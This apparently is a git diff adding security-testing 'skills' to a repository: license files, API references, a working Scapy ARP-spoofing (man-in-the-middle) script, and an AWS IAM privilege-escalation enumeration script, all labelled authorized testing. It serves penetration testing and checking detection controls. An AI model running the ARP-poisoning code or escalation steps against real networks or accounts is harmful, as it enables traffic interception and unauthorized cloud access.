conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-arp-spoofing-attack-simulation/LICENSE b/skills/performing-arp-spoofing-attack-simulation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-arp-spoofing-attack-simulation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-arp-spoofing-attack-simulation/references/api-reference.md b/skills/performing-arp-spoofing-attack-simulation/references/api-reference.md new file mode 100644 index 00000000..a0b0c30f --- /dev/null +++ b/skills/performing-arp-spoofing-attack-simulation/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Performing ARP Spoofing Attack Simulation + +## Scapy Library (Core) + +| Function/Class | Description | +|----------------|-------------| +| `ARP(op="is-at", psrc=ip, hwsrc=mac)` | Construct ARP reply (poison) packet | +| `Ether(dst=mac)` | Construct Ethernet frame with target MAC | +| `srp(packet, timeout, iface)` | Send and receive layer 2 packets (ARP resolution) | +| `sendp(packet, iface)` | Send packet at layer 2 without waiting for reply | +| `get_if_hwaddr(iface)` | Get MAC address of local interface | +| `get_if_list()` | List available network interfaces | +| `conf.iface` | Get/set default network interface | + +## ARP Packet Fields + +| Field | Description | +|-------|-------------| +| `op` | Operation: `"who-has"` (request) or `"is-at"` (reply) | +| `psrc` | Source protocol (IP) address | +| `pdst` | Destination protocol (IP) address | +| `hwsrc` | Source hardware (MAC) address | +| `hwdst` | Destination hardware (MAC) address | + +## Detection Verification Commands + +| Command | Platform | Description | +|---------|----------|-------------| +| `show ip arp inspection statistics` | Cisco IOS | DAI statistics and violations | +| `show ip arp inspection log` | Cisco IOS | DAI violation log entries | +| `arpwatch -i eth0` | Linux | Monitor ARP table changes | +| `ip neigh show` | Linux | Display current ARP cache | + +## Key Libraries + +- **scapy** (`pip install scapy`): Packet crafting and network interaction +- **netifaces**: Cross-platform network interface information +- **nmap** (python-nmap): Network host discovery as alternative to ARP scan + +## Configuration + +| Variable | Description | +|----------|-------------| +| Interface | Network interface on same VLAN as target (e.g., `eth0`) | +| Root/Admin | Scapy requires root/administrator privileges for raw sockets | + +## Safety Controls + +| Control | Purpose | +|---------|---------| +| Written authorization | Legal requirement before any ARP spoofing | +| `restore_arp()` | Always restore legitimate ARP entries after simulation | +| Packet count limit | Limit spoofing rounds to minimum needed for detection test | +| Isolated VLAN | Run simulation on isolated test network segment | + +## References + +- [Scapy Documentation](https://scapy.readthedocs.io/) +- [Dynamic ARP Inspection (Cisco)](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst9300/software/release/16-12/configuration_guide/sec/b_1612_sec_9300_cg/dynamic_arp_inspection.html) +- [OWASP Testing Guide - Network](https://owasp.org/www-project-web-security-testing-guide/) diff --git a/skills/performing-arp-spoofing-attack-simulation/scripts/agent.py b/skills/performing-arp-spoofing-attack-simulation/scripts/agent.py new file mode 100644 index 00000000..2f6a2155 --- /dev/null +++ b/skills/performing-arp-spoofing-attack-simulation/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +""" +ARP Spoofing Attack Simulation Agent — AUTHORIZED TESTING ONLY +Simulates ARP spoofing attacks using Scapy in controlled lab environments +to test network detection capabilities and validate DAI countermeasures. + +WARNING: Only use with explicit written authorization on isolated test networks. +""" + +import json +import sys +import time +from datetime import datetime, timezone + +from scapy.all import ARP, Ether, sendp, srp, conf, get_if_list, get_if_hwaddr + + +def get_mac(ip: str, iface: str) -> str: + """Resolve MAC address for a given IP using ARP request.""" + ans, _ = srp( + Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), + timeout=3, verbose=False, iface=iface, + ) + if ans: + return ans[0][1].hwsrc + return None + + +def scan_network(network_cidr: str, iface: str) -> list[dict]: + """Scan local network segment to discover active hosts.""" + ans, _ = srp( + Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=network_cidr), + timeout=5, verbose=False, iface=iface, + ) + hosts = [] + for sent, received in ans: + hosts.append({ + "ip": received.psrc, + "mac": received.hwsrc, + "responded": True, + }) + return hosts + + +def craft_arp_poison_packets( + target_ip: str, target_mac: str, + gateway_ip: str, gateway_mac: str, + attacker_mac: str, +) -> tuple: + """Craft ARP poison packets for target and gateway.""" + target_packet = Ether(dst=target_mac) / ARP( + op="is-at", + psrc=gateway_ip, + hwsrc=attacker_mac, + pdst=target_ip, + hwdst=target_mac, + ) + + gateway_packet = Ether(dst=gateway_mac) / ARP( + op="is-at", + psrc=target_ip, + hwsrc=attacker_mac, + pdst=gateway_ip, + hwdst=gateway_mac, + ) + + return target_packet, gateway_packet + + +def send_arp_poison( + target_pkt, gateway_pkt, iface: str, count: int = 5, interval: float = 2.0 +) -> dict: + """Send ARP poison packets and log the activity.""" + results = {"packets_sent": 0, "start_time": "", "end_time": ""} + results["start_time"] = datetime.now(timezone.utc).isoformat() + + for i in range(count): + sendp(target_pkt, iface=iface, verbose=False) + sendp(gateway_pkt, iface=iface, verbose=False) + results["packets_sent"] += 2 + if i < count - 1: + time.sleep(interval) + + results["end_time"] = datetime.now(timezone.utc).isoformat() + return results + + +def restore_arp( + target_ip: str, target_mac: str, + gateway_ip: str, gateway_mac: str, + iface: str, +) -> None: + """Restore legitimate ARP entries to undo spoofing.""" + restore_target = Ether(dst=target_mac) / ARP( + op="is-at", + psrc=gateway_ip, + hwsrc=gateway_mac, + pdst=target_ip, + hwdst=target_mac, + ) + restore_gateway = Ether(dst=gateway_mac) / ARP( + op="is-at", + psrc=target_ip, + hwsrc=target_mac, + pdst=gateway_ip, + hwdst=gateway_mac, + ) + + for _ in range(5): + sendp(restore_target, iface=iface, verbose=False) + sendp(restore_gateway, iface=iface, verbose=False) + time.sleep(0.5) + + +def verify_detection(expected_alerts: list[str]) -> dict: + """Verify that security controls detected the ARP spoofing attempt.""" + return { + "expected_detections": expected_alerts, + "note": "Check IDS/IPS alerts, SIEM events, and switch DAI logs for ARP anomaly detections", + "check_commands": [ + "show ip arp inspection statistics # Cisco switch DAI", + "show ip arp inspection log # DAI violation log", + "grep 'arp' /var/log/snort/alert # Snort ARP alerts", + ], + } + + +def generate_report( + hosts: list, target_ip: str, gateway_ip: str, + send_results: dict, detection: dict, +) -> str: + """Generate ARP spoofing simulation report.""" + lines = [ + "ARP SPOOFING ATTACK SIMULATION REPORT — AUTHORIZED TESTING ONLY", + "=" * 65, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"Network Hosts Discovered: {len(hosts)}", + f"Target: {target_ip}", + f"Gateway: {gateway_ip}", + "", + "SIMULATION RESULTS:", + f" Packets Sent: {send_results['packets_sent']}", + f" Start: {send_results['start_time']}", + f" End: {send_results['end_time']}", + "", + "DETECTION VERIFICATION:", + ] + for cmd in detection["check_commands"]: + lines.append(f" $ {cmd}") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] ARP SPOOFING SIMULATION — AUTHORIZED TESTING ONLY") + print("[!] Ensure you have written authorization before proceeding.\n") + + if len(sys.argv) < 4: + print(f"Usage: {sys.argv[0]} ") + print(f" Example: {sys.argv[0]} 192.168.1.100 192.168.1.1 eth0") + sys.exit(1) + + target_ip = sys.argv[1] + gateway_ip = sys.argv[2] + iface = sys.argv[3] + count = int(sys.argv[4]) if len(sys.argv) > 4 else 5 + + print(f"[*] Resolving MAC addresses on {iface}...") + target_mac = get_mac(target_ip, iface) + gateway_mac = get_mac(gateway_ip, iface) + attacker_mac = get_if_hwaddr(iface) + + if not target_mac or not gateway_mac: + print("[!] Could not resolve MAC addresses. Ensure hosts are reachable.") + sys.exit(1) + + print(f"[*] Target: {target_ip} ({target_mac})") + print(f"[*] Gateway: {gateway_ip} ({gateway_mac})") + print(f"[*] Attacker: {attacker_mac}") + + target_pkt, gw_pkt = craft_arp_poison_packets( + target_ip, target_mac, gateway_ip, gateway_mac, attacker_mac + ) + + print(f"[*] Sending {count} ARP poison rounds...") + results = send_arp_poison(target_pkt, gw_pkt, iface, count=count) + + print("[*] Restoring ARP tables...") + restore_arp(target_ip, target_mac, gateway_ip, gateway_mac, iface) + + detection = verify_detection(["DAI violation", "ARP anomaly IDS alert", "SIEM ARP event"]) + report = generate_report([], target_ip, gateway_ip, results, detection) + print(report) diff --git a/skills/performing-asset-criticality-scoring-for-vulns/LICENSE b/skills/performing-asset-criticality-scoring-for-vulns/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-asset-criticality-scoring-for-vulns/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-authenticated-scan-with-openvas/LICENSE b/skills/performing-authenticated-scan-with-openvas/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-authenticated-scan-with-openvas/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-authenticated-vulnerability-scan/LICENSE b/skills/performing-authenticated-vulnerability-scan/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-authenticated-vulnerability-scan/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-automated-malware-analysis-with-cape/LICENSE b/skills/performing-automated-malware-analysis-with-cape/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-automated-malware-analysis-with-cape/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-aws-account-enumeration-with-scout-suite/LICENSE b/skills/performing-aws-account-enumeration-with-scout-suite/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-aws-account-enumeration-with-scout-suite/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-aws-privilege-escalation-assessment/LICENSE b/skills/performing-aws-privilege-escalation-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-aws-privilege-escalation-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-aws-privilege-escalation-assessment/references/api-reference.md b/skills/performing-aws-privilege-escalation-assessment/references/api-reference.md new file mode 100644 index 00000000..db8588d7 --- /dev/null +++ b/skills/performing-aws-privilege-escalation-assessment/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Performing AWS Privilege Escalation Assessment + +## AWS IAM API (boto3) + +| Method | Description | +|--------|-------------| +| `iam.list_users()` | Enumerate all IAM users | +| `iam.list_attached_user_policies(UserName)` | List managed policies attached to user | +| `iam.list_user_policies(UserName)` | List inline policies on a user | +| `iam.get_policy_version(PolicyArn, VersionId)` | Get policy document for analysis | +| `iam.list_roles()` | Enumerate all IAM roles | +| `iam.list_attached_role_policies(RoleName)` | List managed policies on a role | +| `iam.list_groups_for_user(UserName)` | List group memberships for a user | +| `iam.simulate_principal_policy(PolicySourceArn, ActionNames)` | Test permissions | + +## AWS STS API + +| Method | Description | +|--------|-------------| +| `sts.get_caller_identity()` | Identify current principal (user/role/account) | +| `sts.assume_role(RoleArn, RoleSessionName)` | Assume a role for privilege escalation test | + +## Pacu Modules (CLI) + +| Module | Description | +|--------|-------------| +| `iam__enum_users_roles_policies_groups` | Full IAM enumeration | +| `iam__privesc_scan` | Scan for 21+ privilege escalation vectors | +| `iam__backdoor_users_keys` | Test access key creation ability | +| `lambda__backdoor_new_roles` | Test Lambda-based escalation | + +## Key Libraries + +- **boto3** (`pip install boto3`): AWS SDK for IAM, STS, and service enumeration +- **pacu** (`pip install pacu`): AWS exploitation framework (CLI-based) +- **pmapper** (Principal Mapper): Graph-based IAM privilege analysis +- **cloudfox**: Cloud penetration testing tool for AWS enumeration + +## Dangerous IAM Actions + +| Action | Escalation Vector | +|--------|-------------------| +| `iam:CreatePolicyVersion` | Create new policy version with admin permissions | +| `iam:AttachUserPolicy` | Attach AdministratorAccess to self | +| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with privileged role | +| `iam:PutUserPolicy` | Add inline admin policy to self | +| `sts:AssumeRole` | Assume more-privileged role | +| `iam:UpdateAssumeRolePolicy` | Modify role trust to allow self-assumption | + +## Configuration + +| Variable | Description | +|----------|-------------| +| `AWS_PROFILE` | AWS CLI profile with test credentials | +| `AWS_DEFAULT_REGION` | Default AWS region for API calls | + +## References + +- [Rhino Security: AWS IAM Privilege Escalation](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [Pacu GitHub](https://github.com/RhinoSecurityLabs/pacu) +- [AWS IAM API Reference](https://docs.aws.amazon.com/IAM/latest/APIReference/) +- [Principal Mapper](https://github.com/nccgroup/PMapper) diff --git a/skills/performing-aws-privilege-escalation-assessment/scripts/agent.py b/skills/performing-aws-privilege-escalation-assessment/scripts/agent.py new file mode 100644 index 00000000..56e56a91 --- /dev/null +++ b/skills/performing-aws-privilege-escalation-assessment/scripts/agent.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 +""" +AWS Privilege Escalation Assessment Agent — AUTHORIZED TESTING ONLY +Assesses AWS IAM configurations for privilege escalation paths using boto3 +and enumerates dangerous policy combinations. + +WARNING: Only use with explicit written authorization on approved AWS accounts. +""" + +import json +import sys +from datetime import datetime, timezone + +import boto3 +from botocore.exceptions import ClientError + + +def get_caller_identity() -> dict: + """Get current AWS identity information.""" + sts = boto3.client("sts") + identity = sts.get_caller_identity() + return { + "account": identity["Account"], + "arn": identity["Arn"], + "user_id": identity["UserId"], + } + + +def enumerate_iam_users() -> list[dict]: + """Enumerate all IAM users and their attached policies.""" + iam = boto3.client("iam") + users = [] + paginator = iam.get_paginator("list_users") + + for page in paginator.paginate(): + for user in page["Users"]: + username = user["UserName"] + attached = iam.list_attached_user_policies(UserName=username) + inline = iam.list_user_policies(UserName=username) + groups = iam.list_groups_for_user(UserName=username) + + users.append({ + "username": username, + "arn": user["Arn"], + "attached_policies": [p["PolicyArn"] for p in attached["AttachedPolicies"]], + "inline_policies": inline["PolicyNames"], + "groups": [g["GroupName"] for g in groups["Groups"]], + "has_console": user.get("PasswordLastUsed") is not None, + }) + + return users + + +def enumerate_iam_roles() -> list[dict]: + """Enumerate IAM roles and their trust policies.""" + iam = boto3.client("iam") + roles = [] + paginator = iam.get_paginator("list_roles") + + for page in paginator.paginate(): + for role in page["Roles"]: + trust = role.get("AssumeRolePolicyDocument", {}) + attached = iam.list_attached_role_policies(RoleName=role["RoleName"]) + + roles.append({ + "role_name": role["RoleName"], + "arn": role["Arn"], + "trust_policy": trust, + "attached_policies": [p["PolicyArn"] for p in attached["AttachedPolicies"]], + }) + + return roles + + +def check_dangerous_permissions(users: list[dict]) -> list[dict]: + """Identify users with dangerous permission combinations for privilege escalation.""" + iam = boto3.client("iam") + escalation_paths = [] + + dangerous_actions = [ + "iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion", + "iam:PassRole", "iam:CreateRole", "iam:AttachUserPolicy", + "iam:AttachRolePolicy", "iam:PutUserPolicy", "iam:PutRolePolicy", + "iam:AddUserToGroup", "iam:UpdateAssumeRolePolicy", + "sts:AssumeRole", "lambda:CreateFunction", "lambda:InvokeFunction", + "lambda:UpdateFunctionCode", "ec2:RunInstances", + "cloudformation:CreateStack", "glue:CreateDevEndpoint", + "datapipeline:CreatePipeline", "ssm:SendCommand", + ] + + for user in users: + user_dangerous = [] + for policy_arn in user["attached_policies"]: + try: + policy = iam.get_policy(PolicyArn=policy_arn) + version_id = policy["Policy"]["DefaultVersionId"] + version = iam.get_policy_version(PolicyArn=policy_arn, VersionId=version_id) + statements = version["PolicyVersion"]["Document"].get("Statement", []) + + for stmt in statements: + if stmt.get("Effect") != "Allow": + continue + actions = stmt.get("Action", []) + if isinstance(actions, str): + actions = [actions] + for action in actions: + if action == "*" or action in dangerous_actions: + user_dangerous.append({ + "policy": policy_arn, + "action": action, + "resource": stmt.get("Resource", "*"), + }) + except ClientError: + continue + + if user_dangerous: + escalation_paths.append({ + "username": user["username"], + "dangerous_permissions": user_dangerous, + "escalation_risk": "HIGH" if any( + d["action"] == "*" for d in user_dangerous + ) else "MEDIUM", + }) + + return escalation_paths + + +def check_role_chaining(roles: list[dict], account_id: str) -> list[dict]: + """Identify role chaining opportunities for privilege escalation.""" + chains = [] + + for role in roles: + trust = role.get("trust_policy", {}) + for statement in trust.get("Statement", []): + if statement.get("Effect") != "Allow": + continue + principal = statement.get("Principal", {}) + aws_principal = principal.get("AWS", []) + if isinstance(aws_principal, str): + aws_principal = [aws_principal] + + for p in aws_principal: + if p == f"arn:aws:iam::{account_id}:root" or p == "*": + chains.append({ + "role": role["role_name"], + "trust_principal": p, + "risk": "HIGH" if p == "*" else "MEDIUM", + "policies": role["attached_policies"], + }) + + return chains + + +def generate_report(identity: dict, users: list, escalation: list, chains: list) -> str: + """Generate privilege escalation assessment report.""" + lines = [ + "AWS PRIVILEGE ESCALATION ASSESSMENT — AUTHORIZED TESTING ONLY", + "=" * 65, + f"Account: {identity['account']}", + f"Assessed As: {identity['arn']}", + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"IAM Users Enumerated: {len(users)}", + f"Escalation Paths Found: {len(escalation)}", + f"Role Chaining Risks: {len(chains)}", + "", + "PRIVILEGE ESCALATION PATHS:", + "-" * 40, + ] + for path in escalation: + lines.append(f" [{path['escalation_risk']}] {path['username']}") + for perm in path["dangerous_permissions"][:5]: + lines.append(f" - {perm['action']} on {perm['resource']}") + + if chains: + lines.extend(["", "ROLE CHAINING RISKS:", "-" * 40]) + for chain in chains: + lines.append(f" [{chain['risk']}] {chain['role']} trusts {chain['trust_principal']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] AWS PRIVILEGE ESCALATION ASSESSMENT — AUTHORIZED TESTING ONLY\n") + + identity = get_caller_identity() + print(f"[*] Account: {identity['account']}, Identity: {identity['arn']}") + + users = enumerate_iam_users() + print(f"[*] Enumerated {len(users)} IAM users") + + roles = enumerate_iam_roles() + print(f"[*] Enumerated {len(roles)} IAM roles") + + escalation = check_dangerous_permissions(users) + chains = check_role_chaining(roles, identity["account"]) + + report = generate_report(identity, users, escalation, chains) + print(report) + + output = f"aws_privesc_{identity['account']}_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"identity": identity, "users": users, "escalation_paths": escalation, + "role_chains": chains}, f, indent=2, default=str) + print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-bandwidth-throttling-attack-simulation/LICENSE b/skills/performing-bandwidth-throttling-attack-simulation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-bandwidth-throttling-attack-simulation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md b/skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md new file mode 100644 index 00000000..df4478c5 --- /dev/null +++ b/skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Performing Bandwidth Throttling Attack Simulation + +## Scapy Library + +| Function/Class | Description | +|----------------|-------------| +| `IP(dst=target)` | Construct IP packet to target | +| `UDP(sport, dport)` | Construct UDP packet for bandwidth flooding | +| `Raw(load=bytes)` | Add raw payload for packet size control | +| `send(packet, verbose)` | Send packet at layer 3 | +| `RandShort()` | Generate random source port | + +## tc (Traffic Control) Commands + +| Command | Description | +|---------|-------------| +| `tc qdisc add dev root netem rate ` | Apply bandwidth throttle | +| `tc qdisc add dev root netem delay ` | Add latency | +| `tc qdisc add dev root netem loss ` | Add packet loss | +| `tc qdisc del dev root` | Remove all tc rules | +| `tc qdisc show dev ` | Display current tc configuration | + +## iperf3 (Bandwidth Measurement) + +| Flag | Description | +|------|-------------| +| `-c ` | Connect to iperf3 server | +| `-t ` | Duration of test | +| `-J` | Output in JSON format | +| `-u` | Use UDP instead of TCP | +| `-b ` | Target bandwidth for UDP test | + +## Key Libraries + +- **scapy** (`pip install scapy`): Packet crafting for bandwidth flood generation +- **iperf3**: Bandwidth measurement tool (system binary) +- **subprocess** (stdlib): Execute tc and iperf3 commands + +## Configuration + +| Variable | Description | +|----------|-------------| +| Interface | Network interface to apply throttling rules | +| Root/sudo | tc and Scapy require root privileges | +| iperf3 server | Remote iperf3 server for bandwidth measurement | + +## Safety Controls + +| Control | Purpose | +|---------|---------| +| Written authorization | Required before any bandwidth testing | +| `remove_tc_throttle()` | Always remove tc rules after testing | +| Packet count limit | Control flood volume to prevent unintended DoS | +| Isolated network | Run on isolated test segment only | + +## References + +- [Scapy Documentation](https://scapy.readthedocs.io/) +- [Linux tc Manual](https://man7.org/linux/man-pages/man8/tc.8.html) +- [netem Network Emulator](https://man7.org/linux/man-pages/man8/tc-netem.8.html) +- [iperf3 Documentation](https://iperf.fr/iperf-doc.php) diff --git a/skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py b/skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py new file mode 100644 index 00000000..41a97d3e --- /dev/null 